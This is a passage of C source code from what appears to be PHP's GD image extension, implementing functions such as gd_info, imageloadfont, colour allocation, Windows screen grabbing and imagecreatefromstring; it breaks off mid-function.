PHP_MINFO_FUNCTION(gd) { php_info_print_table_start(); php_info_print_table_row(2, "GD Support", "enabled"); /* need to use a PHPAPI function here because it is external module in windows */ #if defined(HAVE_GD_BUNDLED) php_info_print_table_row(2, "GD Version", PHP_GD_VERSION_STRING); #else php_info_print_table_row(2, "GD headers Version", PHP_GD_VERSION_STRING); #if defined(HAVE_GD_LIBVERSION) php_info_print_table_row(2, "GD library Version", gdVersionString()); #endif #endif #ifdef ENABLE_GD_TTF php_info_print_table_row(2, "FreeType Support", "enabled"); #if HAVE_LIBFREETYPE php_info_print_table_row(2, "FreeType Linkage", "with freetype"); { char tmp[256]; #ifdef FREETYPE_PATCH snprintf(tmp, sizeof(tmp), "%d.%d.%d", FREETYPE_MAJOR, FREETYPE_MINOR, FREETYPE_PATCH); #elif defined(FREETYPE_MAJOR) snprintf(tmp, sizeof(tmp), "%d.%d", FREETYPE_MAJOR, FREETYPE_MINOR); #else snprintf(tmp, sizeof(tmp), "1.x"); #endif php_info_print_table_row(2, "FreeType Version", tmp); } #else php_info_print_table_row(2, "FreeType Linkage", "with unknown library"); #endif #endif #ifdef HAVE_LIBT1 php_info_print_table_row(2, "T1Lib Support", "enabled"); #endif php_info_print_table_row(2, "GIF Read Support", "enabled"); php_info_print_table_row(2, "GIF Create Support", "enabled"); #ifdef HAVE_GD_JPG { php_info_print_table_row(2, "JPEG Support", "enabled"); php_info_print_table_row(2, "libJPEG Version", gdJpegGetVersionString()); } #endif #ifdef HAVE_GD_PNG php_info_print_table_row(2, "PNG Support", "enabled"); php_info_print_table_row(2, "libPNG Version", gdPngGetVersionString()); #endif php_info_print_table_row(2, "WBMP Support", "enabled"); #if defined(HAVE_GD_XPM) php_info_print_table_row(2, "XPM Support", "enabled"); { char tmp[12]; snprintf(tmp, sizeof(tmp), "%d", XpmLibraryVersion()); php_info_print_table_row(2, "libXpm Version", tmp); } #endif php_info_print_table_row(2, "XBM Support", "enabled"); #if defined(USE_GD_JISX0208) php_info_print_table_row(2, "JIS-mapped Japanese Font Support", "enabled"); #endif #ifdef HAVE_GD_WEBP php_info_print_table_row(2, "WebP Support", "enabled"); #endif php_info_print_table_end(); DISPLAY_INI_ENTRIES(); } /* }}} */ /* {{{ proto array gd_info() */ PHP_FUNCTION(gd_info) { if (zend_parse_parameters_none() == FAILURE) { RETURN_FALSE; } array_init(return_value); add_assoc_string(return_value, "GD Version", PHP_GD_VERSION_STRING, 1); #ifdef ENABLE_GD_TTF add_assoc_bool(return_value, "FreeType Support", 1); #if HAVE_LIBFREETYPE add_assoc_string(return_value, "FreeType Linkage", "with freetype", 1); #else add_assoc_string(return_value, "FreeType Linkage", "with unknown library", 1); #endif #else add_assoc_bool(return_value, "FreeType Support", 0); #endif #ifdef HAVE_LIBT1 add_assoc_bool(return_value, "T1Lib Support", 1); #else add_assoc_bool(return_value, "T1Lib Support", 0); #endif add_assoc_bool(return_value, "GIF Read Support", 1); add_assoc_bool(return_value, "GIF Create Support", 1); #ifdef HAVE_GD_JPG add_assoc_bool(return_value, "JPEG Support", 1); #else add_assoc_bool(return_value, "JPEG Support", 0); #endif #ifdef HAVE_GD_PNG add_assoc_bool(return_value, "PNG Support", 1); #else add_assoc_bool(return_value, "PNG Support", 0); #endif add_assoc_bool(return_value, "WBMP Support", 1); #if defined(HAVE_GD_XPM) add_assoc_bool(return_value, "XPM Support", 1); #else add_assoc_bool(return_value, "XPM Support", 0); #endif add_assoc_bool(return_value, "XBM Support", 1); #ifdef HAVE_GD_WEBP add_assoc_bool(return_value, "WebP Support", 1); #else add_assoc_bool(return_value, "WebP Support", 0); #endif #if defined(USE_GD_JISX0208) add_assoc_bool(return_value, "JIS-mapped Japanese Font Support", 1); #else add_assoc_bool(return_value, "JIS-mapped Japanese Font Support", 0); #endif } /* }}} */ /* Need this for cpdf. See also comment in file.c php3i_get_le_fp() */ PHP_GD_API int phpi_get_le_gd(void) { return le_gd; } /* }}} */ #define FLIPWORD(a) (((a & 0xff000000) >> 24) | ((a & 0x00ff0000) >> 8) | ((a & 0x0000ff00) << 8) | ((a & 0x000000ff) << 24)) /* {{{ proto int imageloadfont(string filename) Load a new font */ PHP_FUNCTION(imageloadfont) { char *file; int file_name, hdr_size = sizeof(gdFont) - sizeof(char *); int ind, body_size, n = 0, b, i, body_size_check; gdFontPtr font; php_stream *stream; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_name) == FAILURE) { return; } stream = php_stream_open_wrapper(file, "rb", IGNORE_PATH | IGNORE_URL_WIN | REPORT_ERRORS, NULL); if (stream == NULL) { RETURN_FALSE; } /* Only supports a architecture-dependent binary dump format * at the moment. * The file format is like this on machines with 32-byte integers: * * byte 0-3: (int) number of characters in the font * byte 4-7: (int) value of first character in the font (often 32, space) * byte 8-11: (int) pixel width of each character * byte 12-15: (int) pixel height of each character * bytes 16-: (char) array with character data, one byte per pixel * in each character, for a total of * (nchars*width*height) bytes. */ font = (gdFontPtr) emalloc(sizeof(gdFont)); b = 0; while (b < hdr_size && (n = php_stream_read(stream, (char*)&font[b], hdr_size - b))) { b += n; } if (!n) { efree(font); if (php_stream_eof(stream)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "End of file while reading header"); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error while reading header"); } php_stream_close(stream); RETURN_FALSE; } i = php_stream_tell(stream); php_stream_seek(stream, 0, SEEK_END); body_size_check = php_stream_tell(stream) - hdr_size; php_stream_seek(stream, i, SEEK_SET); body_size = font->w * font->h * font->nchars; if (body_size != body_size_check) { font->w = FLIPWORD(font->w); font->h = FLIPWORD(font->h); font->nchars = FLIPWORD(font->nchars); body_size = font->w * font->h * font->nchars; } if (overflow2(font->nchars, font->h) || overflow2(font->nchars * font->h, font->w )) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error reading font, invalid font header"); efree(font); php_stream_close(stream); RETURN_FALSE; } if (body_size != body_size_check) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error reading font"); efree(font); php_stream_close(stream); RETURN_FALSE; } font->data = emalloc(body_size); b = 0; while (b < body_size && (n = php_stream_read(stream, &font->data[b], body_size - b))) { b += n; } if (!n) { efree(font->data); efree(font); if (php_stream_eof(stream)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "End of file while reading body"); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error while reading body"); } php_stream_close(stream); RETURN_FALSE; } php_stream_close(stream); /* Adding 5 to the font index so we will never have font indices * that overlap with the old fonts (with indices 1-5). The first * list index given out is always 1. */ ind = 5 + zend_list_insert(font, le_gd_font TSRMLS_CC); RETURN_LONG(ind); } /* }}} */ /* {{{ proto bool imagesetstyle(resource im, array styles) Set the line drawing styles for use with imageline and IMG_COLOR_STYLED. */ PHP_FUNCTION(imagesetstyle) { zval *IM, *styles; gdImagePtr im; int * stylearr; int index; HashPosition pos; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra", &IM, &styles) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); /* copy the style values in the stylearr */ stylearr = safe_emalloc(sizeof(int), zend_hash_num_elements(HASH_OF(styles)), 0); zend_hash_internal_pointer_reset_ex(HASH_OF(styles), &pos); for (index = 0;; zend_hash_move_forward_ex(HASH_OF(styles), &pos)) { zval ** item; if (zend_hash_get_current_data_ex(HASH_OF(styles), (void **) &item, &pos) == FAILURE) { break; } if (Z_TYPE_PP(item) != IS_LONG) { zval lval; lval = **item; zval_copy_ctor(&lval); convert_to_long(&lval); stylearr[index++] = Z_LVAL(lval); } else { stylearr[index++] = Z_LVAL_PP(item); } } gdImageSetStyle(im, stylearr, index); efree(stylearr); RETURN_TRUE; } /* }}} */ /* {{{ proto resource imagecreatetruecolor(int x_size, int y_size) Create a new true color image */ PHP_FUNCTION(imagecreatetruecolor) { long x_size, y_size; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ll", &x_size, &y_size) == FAILURE) { return; } if (x_size <= 0 || y_size <= 0 || x_size >= INT_MAX || y_size >= INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } im = gdImageCreateTrueColor(x_size, y_size); if (!im) { RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ proto bool imageistruecolor(resource im) return true if the image uses truecolor */ PHP_FUNCTION(imageistruecolor) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_BOOL(im->trueColor); } /* }}} */ /* {{{ proto void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted) Convert a true colour image to a palette based image with a number of colours, optionally using dithering. */ PHP_FUNCTION(imagetruecolortopalette) { zval *IM; zend_bool dither; long ncolors; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rbl", &IM, &dither, &ncolors) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (ncolors <= 0 || ncolors > INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of colors has to be greater than zero and no more than %d", INT_MAX); RETURN_FALSE; } gdImageTrueColorToPalette(im, dither, (int)ncolors); RETURN_TRUE; } /* }}} */ /* {{{ proto void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted) Convert a true colour image to a palette based image with a number of colours, optionally using dithering. */ PHP_FUNCTION(imagepalettetotruecolor) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImagePaletteToTrueColor(im) == 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecolormatch(resource im1, resource im2) Makes the colors of the palette version of an image more closely match the true color version */ PHP_FUNCTION(imagecolormatch) { zval *IM1, *IM2; gdImagePtr im1, im2; int result; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM1, &IM2) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im1, gdImagePtr, &IM1, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im2, gdImagePtr, &IM2, -1, "Image", le_gd); result = gdImageColorMatch(im1, im2); switch (result) { case -1: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image1 must be TrueColor" ); RETURN_FALSE; break; case -2: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image2 must be Palette" ); RETURN_FALSE; break; case -3: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image1 and Image2 must be the same size" ); RETURN_FALSE; break; case -4: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image2 must have at least one color" ); RETURN_FALSE; break; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetthickness(resource im, int thickness) Set line thickness for drawing lines, ellipses, rectangles, polygons etc. */ PHP_FUNCTION(imagesetthickness) { zval *IM; long thick; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &thick) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSetThickness(im, thick); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledellipse(resource im, int cx, int cy, int w, int h, int color) Draw an ellipse */ PHP_FUNCTION(imagefilledellipse) { zval *IM; long cx, cy, w, h, color; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &cx, &cy, &w, &h, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFilledEllipse(im, cx, cy, w, h, color); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledarc(resource im, int cx, int cy, int w, int h, int s, int e, int col, int style) Draw a filled partial ellipse */ PHP_FUNCTION(imagefilledarc) { zval *IM; long cx, cy, w, h, ST, E, col, style; gdImagePtr im; int e, st; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllllllll", &IM, &cx, &cy, &w, &h, &ST, &E, &col, &style) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); e = E; if (e < 0) { e %= 360; } st = ST; if (st < 0) { st %= 360; } gdImageFilledArc(im, cx, cy, w, h, st, e, col, style); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagealphablending(resource im, bool on) Turn alpha blending mode on or off for the given image */ PHP_FUNCTION(imagealphablending) { zval *IM; zend_bool blend; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &blend) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAlphaBlending(im, blend); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesavealpha(resource im, bool on) Include alpha channel to a saved image */ PHP_FUNCTION(imagesavealpha) { zval *IM; zend_bool save; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &save) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSaveAlpha(im, save); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagelayereffect(resource im, int effect) Set the alpha blending flag to use the bundled libgd layering effects */ PHP_FUNCTION(imagelayereffect) { zval *IM; long effect; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &effect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAlphaBlending(im, effect); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorallocatealpha(resource im, int red, int green, int blue, int alpha) Allocate a color with an alpha level. Works for true color and palette based images */ PHP_FUNCTION(imagecolorallocatealpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; int ct = (-1); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ct = gdImageColorAllocateAlpha(im, red, green, blue, alpha); if (ct < 0) { RETURN_FALSE; } RETURN_LONG((long)ct); } /* }}} */ /* {{{ proto int imagecolorresolvealpha(resource im, int red, int green, int blue, int alpha) Resolve/Allocate a colour with an alpha level. Works for true colour and palette based images */ PHP_FUNCTION(imagecolorresolvealpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorResolveAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto int imagecolorclosestalpha(resource im, int red, int green, int blue, int alpha) Find the closest matching colour with alpha transparency */ PHP_FUNCTION(imagecolorclosestalpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosestAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto int imagecolorexactalpha(resource im, int red, int green, int blue, int alpha) Find exact match for colour with transparency */ PHP_FUNCTION(imagecolorexactalpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorExactAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto bool imagecopyresampled(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h) Copy and resize part of an image using resampling to help ensure clarity */ PHP_FUNCTION(imagecopyresampled) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, DW, DH; gdImagePtr im_dst, im_src; int srcH, srcW, dstH, dstW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &DW, &DH, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; dstH = DH; dstW = DW; gdImageCopyResampled(im_dst, im_src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); RETURN_TRUE; } /* }}} */ #ifdef PHP_WIN32 /* {{{ proto resource imagegrabwindow(int window_handle [, int client_area]) Grab a window or its client area using a windows handle (HWND property in COM instance) */ PHP_FUNCTION(imagegrabwindow) { HWND window; long client_area = 0; RECT rc = {0}; RECT rc_win = {0}; int Width, Height; HDC hdc; HDC memDC; HBITMAP memBM; HBITMAP hOld; HINSTANCE handle; long lwindow_handle; typedef BOOL (WINAPI *tPrintWindow)(HWND, HDC,UINT); tPrintWindow pPrintWindow = 0; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|l", &lwindow_handle, &client_area) == FAILURE) { RETURN_FALSE; } window = (HWND) lwindow_handle; if (!IsWindow(window)) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Invalid window handle"); RETURN_FALSE; } hdc = GetDC(0); if (client_area) { GetClientRect(window, &rc); Width = rc.right; Height = rc.bottom; } else { GetWindowRect(window, &rc); Width = rc.right - rc.left; Height = rc.bottom - rc.top; } Width = (Width/4)*4; memDC = CreateCompatibleDC(hdc); memBM = CreateCompatibleBitmap(hdc, Width, Height); hOld = (HBITMAP) SelectObject (memDC, memBM); handle = LoadLibrary("User32.dll"); if ( handle == 0 ) { goto clean; } pPrintWindow = (tPrintWindow) GetProcAddress(handle, "PrintWindow"); if ( pPrintWindow ) { pPrintWindow(window, memDC, (UINT) client_area); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Windows API too old"); goto clean; } FreeLibrary(handle); im = gdImageCreateTrueColor(Width, Height); if (im) { int x,y; for (y=0; y <= Height; y++) { for (x=0; x <= Width; x++) { int c = GetPixel(memDC, x,y); gdImageSetPixel(im, x, y, gdTrueColor(GetRValue(c), GetGValue(c), GetBValue(c))); } } } clean: SelectObject(memDC,hOld); DeleteObject(memBM); DeleteDC(memDC); ReleaseDC( 0, hdc ); if (!im) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } } /* }}} */ /* {{{ proto resource imagegrabscreen() Grab a screenshot */ PHP_FUNCTION(imagegrabscreen) { HWND window = GetDesktopWindow(); RECT rc = {0}; int Width, Height; HDC hdc; HDC memDC; HBITMAP memBM; HBITMAP hOld; typedef BOOL (WINAPI *tPrintWindow)(HWND, HDC,UINT); tPrintWindow pPrintWindow = 0; gdImagePtr im; hdc = GetDC(0); if (zend_parse_parameters_none() == FAILURE) { return; } if (!hdc) { RETURN_FALSE; } GetWindowRect(window, &rc); Width = rc.right - rc.left; Height = rc.bottom - rc.top; Width = (Width/4)*4; memDC = CreateCompatibleDC(hdc); memBM = CreateCompatibleBitmap(hdc, Width, Height); hOld = (HBITMAP) SelectObject (memDC, memBM); BitBlt( memDC, 0, 0, Width, Height , hdc, rc.left, rc.top , SRCCOPY ); im = gdImageCreateTrueColor(Width, Height); if (im) { int x,y; for (y=0; y <= Height; y++) { for (x=0; x <= Width; x++) { int c = GetPixel(memDC, x,y); gdImageSetPixel(im, x, y, gdTrueColor(GetRValue(c), GetGValue(c), GetBValue(c))); } } } SelectObject(memDC,hOld); DeleteObject(memBM); DeleteDC(memDC); ReleaseDC( 0, hdc ); if (!im) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } } /* }}} */ #endif /* PHP_WIN32 */ /* {{{ proto resource imagerotate(resource src_im, float angle, int bgdcolor [, int ignoretransparent]) Rotate an image using a custom angle */ PHP_FUNCTION(imagerotate) { zval *SIM; gdImagePtr im_dst, im_src; double degrees; long color; long ignoretransparent = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rdl|l", &SIM, &degrees, &color, &ignoretransparent) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); im_dst = gdImageRotateInterpolated(im_src, (const float)degrees, color); if (im_dst != NULL) { ZEND_REGISTER_RESOURCE(return_value, im_dst, le_gd); } else { RETURN_FALSE; } } /* }}} */ /* {{{ proto bool imagesettile(resource image, resource tile) Set the tile image to $tile when filling $image with the "IMG_COLOR_TILED" color */ PHP_FUNCTION(imagesettile) { zval *IM, *TILE; gdImagePtr im, tile; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM, &TILE) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(tile, gdImagePtr, &TILE, -1, "Image", le_gd); gdImageSetTile(im, tile); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetbrush(resource image, resource brush) Set the brush image to $brush when filling $image with the "IMG_COLOR_BRUSHED" color */ PHP_FUNCTION(imagesetbrush) { zval *IM, *TILE; gdImagePtr im, tile; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM, &TILE) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(tile, gdImagePtr, &TILE, -1, "Image", le_gd); gdImageSetBrush(im, tile); RETURN_TRUE; } /* }}} */ /* {{{ proto resource imagecreate(int x_size, int y_size) Create a new image */ PHP_FUNCTION(imagecreate) { long x_size, y_size; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ll", &x_size, &y_size) == FAILURE) { return; } if (x_size <= 0 || y_size <= 0 || x_size >= INT_MAX || y_size >= INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } im = gdImageCreate(x_size, y_size); if (!im) { RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ proto int imagetypes(void) Return the types of images supported in a bitfield - 1=GIF, 2=JPEG, 4=PNG, 8=WBMP, 16=XPM */ PHP_FUNCTION(imagetypes) { int ret=0; ret = 1; #ifdef HAVE_GD_JPG ret |= 2; #endif #ifdef HAVE_GD_PNG ret |= 4; #endif ret |= 8; #if defined(HAVE_GD_XPM) ret |= 16; #endif #ifdef HAVE_GD_WEBP ret |= 32; #endif if (zend_parse_parameters_none() == FAILURE) { return; } RETURN_LONG(ret); } /* }}} */ /* {{{ _php_ctx_getmbi */ static int _php_ctx_getmbi(gdIOCtx *ctx) { int i, mbi = 0; do { i = (ctx->getC)(ctx); if (i < 0) { return -1; } mbi = (mbi << 7) | (i & 0x7f); } while (i & 0x80); return mbi; } /* }}} */ /* {{{ _php_image_type */ static const char php_sig_gd2[3] = {'g', 'd', '2'}; static int _php_image_type (char data[8]) { /* Based on ext/standard/image.c */ if (data == NULL) { return -1; } if (!memcmp(data, php_sig_gd2, 3)) { return PHP_GDIMG_TYPE_GD2; } else if (!memcmp(data, php_sig_jpg, 3)) { return PHP_GDIMG_TYPE_JPG; } else if (!memcmp(data, php_sig_png, 3)) { if (!memcmp(data, php_sig_png, 8)) { return PHP_GDIMG_TYPE_PNG; } } else if (!memcmp(data, php_sig_gif, 3)) { return PHP_GDIMG_TYPE_GIF; } else { gdIOCtx *io_ctx; io_ctx = gdNewDynamicCtxEx(8, data, 0); if (io_ctx) { if (_php_ctx_getmbi(io_ctx) == 0 && _php_ctx_getmbi(io_ctx) >= 0) { io_ctx->gd_free(io_ctx); return PHP_GDIMG_TYPE_WBM; } else { io_ctx->gd_free(io_ctx); } } } return -1; } /* }}} */ /* {{{ _php_image_create_from_string */ gdImagePtr _php_image_create_from_string(zval **data, char *tn, gdImagePtr (*ioctx_func_p)() TSRMLS_DC) { gdImagePtr im; gdIOCtx *io_ctx; io_ctx = gdNewDynamicCtxEx(Z_STRLEN_PP(data), Z_STRVAL_PP(data), 0); if (!io_ctx) { return NULL; } im = (*ioctx_func_p)(io_ctx); if (!im) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Passed data is not in '%s' format", tn); io_ctx->gd_free(io_ctx); return NULL; } io_ctx->gd_free(io_ctx); return im; } /* }}} */ /* {{{ proto resource imagecreatefromstring(string image) Create a new image from the image stream in the string */ PHP_FUNCTION(imagecreatefromstring) { zval **data; gdImagePtr im; int imtype; char sig[8]; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Z", &data) == FAILURE) { return; } convert_to_string_ex(data); if (Z_STRLEN_PP(data) < 8) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Empty string or invalid image"); RETURN_FALSE; } memcpy(sig, Z_STRVAL_PP(data), 8); imtype = _php_image_type(sig); switch (imtype) { case PHP_GDIMG_TYPE_JPG: #ifdef HAVE_GD_JPG im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx TSRMLS_CC); #else php_error_docref(NULL TSRMLS_CC, E_WARNING, "No JPEG support in this PHP build"); RETURN_FALSE; #endif break; case PHP_GDIMG_TYPE_PNG: #ifdef HAVE_GD_PNG im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx TSRMLS_CC); #else php_error_docref(NULL TSRMLS_CC, E_WARNING, "No PNG support in this PHP build"); RETURN_FALSE; #endif break; case PHP_GDIMG_TYPE_GIF: im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx TSRMLS_CC); break; case PHP_GDIMG_TYPE_WBM: im = _php_image_create_from_string(data, "WBMP", gdImageCreateFromWBMPCtx TSRMLS_CC); break; case PHP_GDIMG_TYPE_GD2: im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx TSRMLS_CC); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Data is not in a recognized format"); RETURN_FALSE; } if (!im) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't create GD Image Stream out of Data"); RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ _php_image_create_from */ static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()) { char *file; int file_len; long srcx, srcy, width, height; gdImagePtr im = NULL; php_stream *stream; FILE * fp = NULL; long ignore_warning; if (image_type == PHP_GDIMG_TYPE_GD2PART) { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pllll", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) { return; } if (width < 1 || height < 1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Zero width or height not allowed"); RETURN_FALSE; } } else { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) { return; } } stream = php_stream_open_wrapper(file, "rb", REPORT_ERRORS|IGNORE_PATH|IGNORE_URL_WIN, NULL); if (stream == NULL) { RETURN_FALSE; } /* try and avoid allocating a FILE* if the stream is not naturally a FILE* */ if (php_stream_is(stream, PHP_STREAM_IS_STDIO)) { if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO, (void**)&fp, REPORT_ERRORS)) { goto out_err; } } else if (ioctx_func_p) { /* we can create an io context */ gdIOCtx* io_ctx; size_t buff_size; char *buff; /* needs to be malloc (persistent) - GD will free() it later */ buff_size = php_stream_copy_to_mem(stream, &buff, PHP_STREAM_COPY_ALL, 1); if (!buff_size) { php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot read image data"); goto out_err; } io_ctx = gdNewDynamicCtxEx(buff_size, buff, 0); if (!io_ctx) { pefree(buff, 1); php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot allocate GD IO context"); goto out_err; } if (image_type == PHP_GDIMG_TYPE_GD2PART) { im = (*ioctx_func_p)(io_ctx, srcx, srcy, width, height); } else { im = (*ioctx_func_p)(io_ctx); } io_ctx->gd_free(io_ctx); pefree(buff, 1); } else if (php_stream_can_cast(stream, PHP_STREAM_AS_STDIO)) { /* try and force the stream to be FILE* */ if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO | PHP_STREAM_CAST_TRY_HARD, (void **) &fp, REPORT_ERRORS)) { goto out_err; } } if (!im && fp) { switch (image_type) { case PHP_GDIMG_TYPE_GD2PART: im = (*func_p)(fp, srcx, srcy, width, height); break; #if defined(HAVE_GD_XPM) case PHP_GDIMG_TYPE_XPM: im = gdImageCreateFromXpm(file); break; #endif #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); im = gdImageCreateFromJpegEx(fp, ignore_warning); break; #endif default: im = 